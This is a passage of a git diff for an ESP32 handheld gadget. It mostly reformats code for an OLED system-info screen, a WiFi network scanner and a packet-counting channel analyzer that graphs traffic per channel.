- sprintf(buf, "PSRAM: %lu KB", heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024);
- u8g2.drawStr(4, 57, buf);
+ // Box 4 - Chip info (FULL WIDTH)
+ u8g2.drawFrame(0, 36, 128, 12);
+ sprintf(buf, "Cores: %d Rev: %d", chip_info.cores, chip_info.revision);
+ u8g2.drawStr(4, 45, buf);
- u8g2.sendBuffer();
+ // Box 5 - PSRAM (KB)
+ u8g2.drawFrame(0, 48, 128, 12);
+ sprintf(buf, "PSRAM: %lu KB",
+ heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024);
+ u8g2.drawStr(4, 57, buf);
- if (btnBack())
- {
- delay(200);
- return;
- }
+ u8g2.sendBuffer();
- delay(100);
+ if (btnBack()) {
+ delay(200);
+ return;
}
+
+ delay(100);
+ }
}
diff --git a/src/wifi/wifi_analyzer.cpp b/src/wifi/wifi_analyzer.cpp
index 928e621..f1c6eb9 100644
--- a/src/wifi/wifi_analyzer.cpp
+++ b/src/wifi/wifi_analyzer.cpp
@@ -6,142 +6,131 @@
#include "../utils/buttons.h"
// ===== CONFIG =====
-#define GRAPH_WIDTH 128
-#define GRAPH_HEIGHT 44
-#define GRAPH_TOP 10
-#define MAX_POINTS 128
+#define GRAPH_WIDTH 128
+#define GRAPH_HEIGHT 44
+#define GRAPH_TOP 10
+#define MAX_POINTS 128
#define SPIKE_THRESHOLD 30
// ===== STATE =====
struct SnifferGraph {
- uint8_t graphData[MAX_POINTS];
- uint8_t currentChannel = 1;
- volatile uint16_t packetCounter = 0;
- unsigned long lastChannelSwitch = 0;
- unsigned long lastUpdate = 0;
+ uint8_t graphData[MAX_POINTS];
+ uint8_t currentChannel = 1;
+ volatile uint16_t packetCounter = 0;
+ unsigned long lastChannelSwitch = 0;
+ unsigned long lastUpdate = 0;
};
static SnifferGraph sniffer;
// ===== CALLBACK =====
-void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type)
-{
- if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA || type == WIFI_PKT_CTRL)
- {
- sniffer.packetCounter++;
- }
+void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type) {
+ if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA || type == WIFI_PKT_CTRL) {
+ sniffer.packetCounter++;
+ }
}
// ===== INIT =====
-void wifi_analyzer_start()
-{
- // display init (safe to call again)
- u8g2.clearBuffer();
- u8g2.setFont(u8g2_font_5x8_tr);
- u8g2.drawStr(0, 10, "Starting analyzer...");
- u8g2.sendBuffer();
-
- // reset graph
- memset(sniffer.graphData, 0, sizeof(sniffer.graphData));
- sniffer.packetCounter = 0;
- sniffer.currentChannel = 1;
-
- // reset WiFi
- WiFi.disconnect(true, true);
- esp_wifi_stop();
- delay(200);
- esp_wifi_deinit();
-
- wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
- esp_wifi_init(&cfg);
- esp_wifi_set_storage(WIFI_STORAGE_RAM);
- esp_wifi_set_mode(WIFI_MODE_NULL);
- esp_wifi_start();
-
- esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE);
- esp_wifi_set_promiscuous_rx_cb(snifferCallback);
- esp_wifi_set_promiscuous(true);
+void wifi_analyzer_start() {
+ // display init (safe to call again)
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_5x8_tr);
+ u8g2.drawStr(0, 10, "Starting analyzer...");
+ u8g2.sendBuffer();
+
+ // reset graph
+ memset(sniffer.graphData, 0, sizeof(sniffer.graphData));
+ sniffer.packetCounter = 0;
+ sniffer.currentChannel = 1;
+
+ // reset WiFi
+ WiFi.disconnect(true, true);
+ esp_wifi_stop();
+ delay(200);
+ esp_wifi_deinit();
+
+ wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
+ esp_wifi_init(&cfg);
+ esp_wifi_set_storage(WIFI_STORAGE_RAM);
+ esp_wifi_set_mode(WIFI_MODE_NULL);
+ esp_wifi_start();
+
+ esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE);
+ esp_wifi_set_promiscuous_rx_cb(snifferCallback);
+ esp_wifi_set_promiscuous(true);
}
// ===== HELPERS =====
-static void switchChannel()
-{
- sniffer.currentChannel++;
- if (sniffer.currentChannel > 13) sniffer.currentChannel = 1;
+static void switchChannel() {
+ sniffer.currentChannel++;
+ if (sniffer.currentChannel > 13)
+ sniffer.currentChannel = 1;
- esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE);
+ esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE);
}
-static void updateGraph(uint8_t value)
-{
- for (int i = 0; i < MAX_POINTS - 1; i++)
- {
- sniffer.graphData[i] = sniffer.graphData[i + 1];
- }
+static void updateGraph(uint8_t value) {
+ for (int i = 0; i < MAX_POINTS - 1; i++) {
+ sniffer.graphData[i] = sniffer.graphData[i + 1];
+ }
- sniffer.graphData[MAX_POINTS - 1] = value;
+ sniffer.graphData[MAX_POINTS - 1] = value;
}
-static void drawGraph(uint16_t pktCount)
-{
- u8g2.clearBuffer();
- u8g2.setFont(u8g2_font_5x8_tr);
+static void drawGraph(uint16_t pktCount) {
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_5x8_tr);
- char line1[16];
- char line2[16];
+ char line1[16];
+ char line2[16];
- sprintf(line1, "Ch:%d", sniffer.currentChannel);
- sprintf(line2, "Pkts:%d", pktCount * 5);
+ sprintf(line1, "Ch:%d", sniffer.currentChannel);
+ sprintf(line2, "Pkts:%d", pktCount * 5);
- u8g2.drawStr(0, 8, line1);
- u8g2.drawStr(60, 8, line2);
+ u8g2.drawStr(0, 8, line1);
+ u8g2.drawStr(60, 8, line2);
- for (int x = 1; x < GRAPH_WIDTH; x++)
- {
- int y1 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x - 1];
- int y2 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x];
+ for (int x = 1; x < GRAPH_WIDTH; x++) {
+ int y1 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x - 1];
+ int y2 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x];
- u8g2.drawLine(x - 1, y1, x, y2);
- }
+ u8g2.drawLine(x - 1, y1, x, y2);
+ }
- if (pktCount >= SPIKE_THRESHOLD)
- {
- u8g2.drawVLine(GRAPH_WIDTH / 2, GRAPH_TOP, GRAPH_HEIGHT);
- }
+ if (pktCount >= SPIKE_THRESHOLD) {
+ u8g2.drawVLine(GRAPH_WIDTH / 2, GRAPH_TOP, GRAPH_HEIGHT);
+ }
- u8g2.sendBuffer();
+ u8g2.sendBuffer();
}
// ===== LOOP =====
-void wifi_analyzer_loop()
-{
- static uint32_t lastPress = 0;
- unsigned long now = millis();
+void wifi_analyzer_loop() {
+ static uint32_t lastPress = 0;
+ unsigned long now = millis();
- // channel hopping
- if (now - sniffer.lastChannelSwitch >= 1000)
- {
- sniffer.lastChannelSwitch = now;
- switchChannel();
- }
+ // channel hopping
+ if (now - sniffer.lastChannelSwitch >= 1000) {
+ sniffer.lastChannelSwitch = now;
+ switchChannel();
+ }
- // graph update
- if (now - sniffer.lastUpdate >= 200)
- {
- sniffer.lastUpdate = now;
+ // graph update
+ if (now - sniffer.lastUpdate >= 200) {
+ sniffer.lastUpdate = now;
- uint16_t pktCount = sniffer.packetCounter;
+ uint16_t pktCount = sniffer.packetCounter;
- uint8_t scaled = pktCount * 2;
- uint8_t value = min(scaled, (uint8_t)GRAPH_HEIGHT);
+ uint8_t scaled = pktCount * 2;
+ uint8_t value = min(scaled, (uint8_t)GRAPH_HEIGHT);
- updateGraph(value);
- drawGraph(pktCount);
+ updateGraph(value);
+ drawGraph(pktCount);
- sniffer.packetCounter = 0;
- }
+ sniffer.packetCounter = 0;
+ }
- // optional: small debounce to not hammer CPU
- if (millis() - lastPress < 10)
- return;
+ // optional: small debounce to not hammer CPU
+ if (millis() - lastPress < 10)
+ return;
}
diff --git a/src/wifi/wifi_scan.cpp b/src/wifi/wifi_scan.cpp
index 9dabe8f..39bbcfa 100644
--- a/src/wifi/wifi_scan.cpp
+++ b/src/wifi/wifi_scan.cpp
@@ -1,15 +1,15 @@
-#include <Arduino.h>
-#include <WiFi.h>
#include "../ui/display.h"
#include "../utils/buttons.h"
+#include <Arduino.h>
+#include <WiFi.h>
#define MAX_NETWORKS 30
struct WiFiNet {
- String ssid;
- int rssi;
- int channel;
- bool encrypted;
+ String ssid;
+ int rssi;
+ int channel;
+ bool encrypted;
};
static WiFiNet networks[MAX_NETWORKS];
@@ -17,136 +17,123 @@ static int networkCount = 0;
static int selectedIndex = 0;
// ===== SCAN =====
-void wifi_scan_start()
-{
- u8g2.clearBuffer();
- u8g2.drawStr(10, 30, "Scanning WiFi...");
- u8g2.sendBuffer();
+void wifi_scan_start() {
+ u8g2.clearBuffer();
+ u8g2.drawStr(10, 30, "Scanning WiFi...");
+ u8g2.sendBuffer();
- WiFi.mode(WIFI_STA);
- WiFi.disconnect();
+ WiFi.mode(WIFI_STA);
+ WiFi.disconnect();
- delay(100);
+ delay(100);
- int n = WiFi.scanNetworks();
+ int n = WiFi.scanNetworks();
- networkCount = min(n, MAX_NETWORKS);
+ networkCount = min(n, MAX_NETWORKS);
- for (int i = 0; i < networkCount; i++)
- {
- networks[i].ssid = WiFi.SSID(i);
- networks[i].rssi = WiFi.RSSI(i);
- networks[i].channel = WiFi.channel(i);
- networks[i].encrypted = (WiFi.encryptionType(i) != WIFI_AUTH_OPEN);
- }
+ for (int i = 0; i < networkCount; i++) {
+ networks[i].ssid = WiFi.SSID(i);
+ networks[i].rssi = WiFi.RSSI(i);
+ networks[i].channel = WiFi.channel(i);
+ networks[i].encrypted = (WiFi.encryptionType(i) != WIFI_AUTH_OPEN);
+ }
- selectedIndex = 0;
+ selectedIndex = 0;
}
// ===== DRAW =====
-void wifi_scan_draw()
-{
- u8g2.clearBuffer();
-
- if (networkCount == 0)
- {
- u8g2.drawStr(0, 30, "No networks");
- u8g2.drawStr(0, 45, "Press BACK");
- }
- else
- {
- char counter[20];
- sprintf(counter, "%d/%d", selectedIndex + 1, networkCount);
- u8g2.setFont(u8g2_font_5x8_tr);
- u8g2.drawStr(0, 8, counter);
+void wifi_scan_draw() {
+ u8g2.clearBuffer();
+
+ if (networkCount == 0) {
+ u8g2.drawStr(0, 30, "No networks");
+ u8g2.drawStr(0, 45, "Press BACK");
+ } else {
+ char counter[20];
+ sprintf(counter, "%d/%d", selectedIndex + 1, networkCount);
+ u8g2.setFont(u8g2_font_5x8_tr);
+ u8g2.drawStr(0, 8, counter);
- u8g2.setFont(u8g2_font_6x10_tr);
+ u8g2.setFont(u8g2_font_6x10_tr);
- for (int i = 0; i < 3; i++)
- {
- int idx = selectedIndex + i;
- if (idx >= networkCount) break;
+ for (int i = 0; i < 3; i++) {
+ int idx = selectedIndex + i;
+ if (idx >= networkCount)
+ break;
- int y = 22 + i * 14;
+ int y = 22 + i * 14;
- if (i == 0)
- {
- u8g2.drawBox(0, y - 10, 128, 12);
- u8g2.setDrawColor(0);
- }
+ if (i == 0) {
+ u8g2.drawBox(0, y - 10, 128, 12);
+ u8g2.setDrawColor(0);
+ }
- String text = networks[idx].ssid;
- if (text.length() > 10)
- text = text.substring(0, 10) + "..";
+ String text = networks[idx].ssid;
+ if (text.length() > 10)
+ text = text.substring(0, 10) + "..";
- text += " (" + String(networks[idx].rssi) + ")";
+ text += " (" + String(networks[idx].rssi) + ")";
- u8g2.drawStr(2, y, text.c_str());
+ u8g2.drawStr(2, y, text.c_str());
- if (i == 0)
- u8g2.setDrawColor(1);
- }
+ if (i == 0)
+ u8g2.setDrawColor(1);
}
+ }
- u8g2.sendBuffer();
+ u8g2.sendBuffer();
}
// ===== DETAILS =====
-void wifi_drawDetails()
-{
- if (networkCount == 0) return;
+void wifi_drawDetails() {
+ if (networkCount == 0)
+ return;
- WiFiNet &net = networks[selectedIndex];
+ WiFiNet &net = networks[selectedIndex];
- u8g2.clearBuffer();
- u8g2.setFont(u8g2_font_5x8_tr);
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_5x8_tr);
- u8g2.drawStr(0, 10, net.ssid.c_str());
+ u8g2.drawStr(0, 10, net.ssid.c_str());
- char rssi[20];
- sprintf(rssi, "RSSI: %d", net.rssi);
- u8g2.drawStr(0, 20, rssi);
+ char rssi[20];
+ sprintf(rssi, "RSSI: %d", net.rssi);
+ u8g2.drawStr(0, 20, rssi);
- char ch[20];
- sprintf(ch, "CH: %d", net.channel);
- u8g2.drawStr(0, 30, ch);
+ char ch[20];
+ sprintf(ch, "CH: %d", net.channel);
+ u8g2.drawStr(0, 30, ch);
- u8g2.drawStr(0, 40, net.encrypted ? "Secured" : "Open");
+ u8g2.drawStr(0, 40, net.encrypted ? "Secured" : "Open");
- u8g2.sendBuffer();
+ u8g2.sendBuffer();
}
// ===== LOOP =====
-void wifi_scan_loop()
-{
- static uint32_t lastPress = 0;
-
- if (millis() - lastPress < 150)
- return;
-
- if (btnDown() && selectedIndex < networkCount - 1)
- {
- selectedIndex++;
- wifi_scan_draw();
- lastPress = millis();
- }
- else if (btnUp() && selectedIndex > 0)
- {
- selectedIndex--;
- wifi_scan_draw();
- lastPress = millis();
- }
- else if (btnSelect() && networkCount > 0)
- {
- wifi_drawDetails();
- delay(3000);
- wifi_scan_draw();
- lastPress = millis();
- }
-// else if (btnBack())
-// {
-// wifi_scan_start();
-// wifi_scan_draw();
-// lastPress = millis();
-// }
+void wifi_scan_loop() {
+ static uint32_t lastPress = 0;
+
+ if (millis() - lastPress < 150)
+ return;
+
+ if (btnDown() && selectedIndex < networkCount - 1) {
+ selectedIndex++;
+ wifi_scan_draw();
+ lastPress = millis();
+ } else if (btnUp() && selectedIndex > 0) {
+ selectedIndex--;
+ wifi_scan_draw();
+ lastPress = millis();
+ } else if (btnSelect() && networkCount > 0) {
+ wifi_drawDetails();
+ delay(3000);
+ wifi_scan_draw();
+ lastPress = millis();
+ }
+ // else if (btnBack())
+ // {
+ // wifi_scan_start();
+ // wifi_scan_draw();
+ // lastPress = millis();
+ // }
}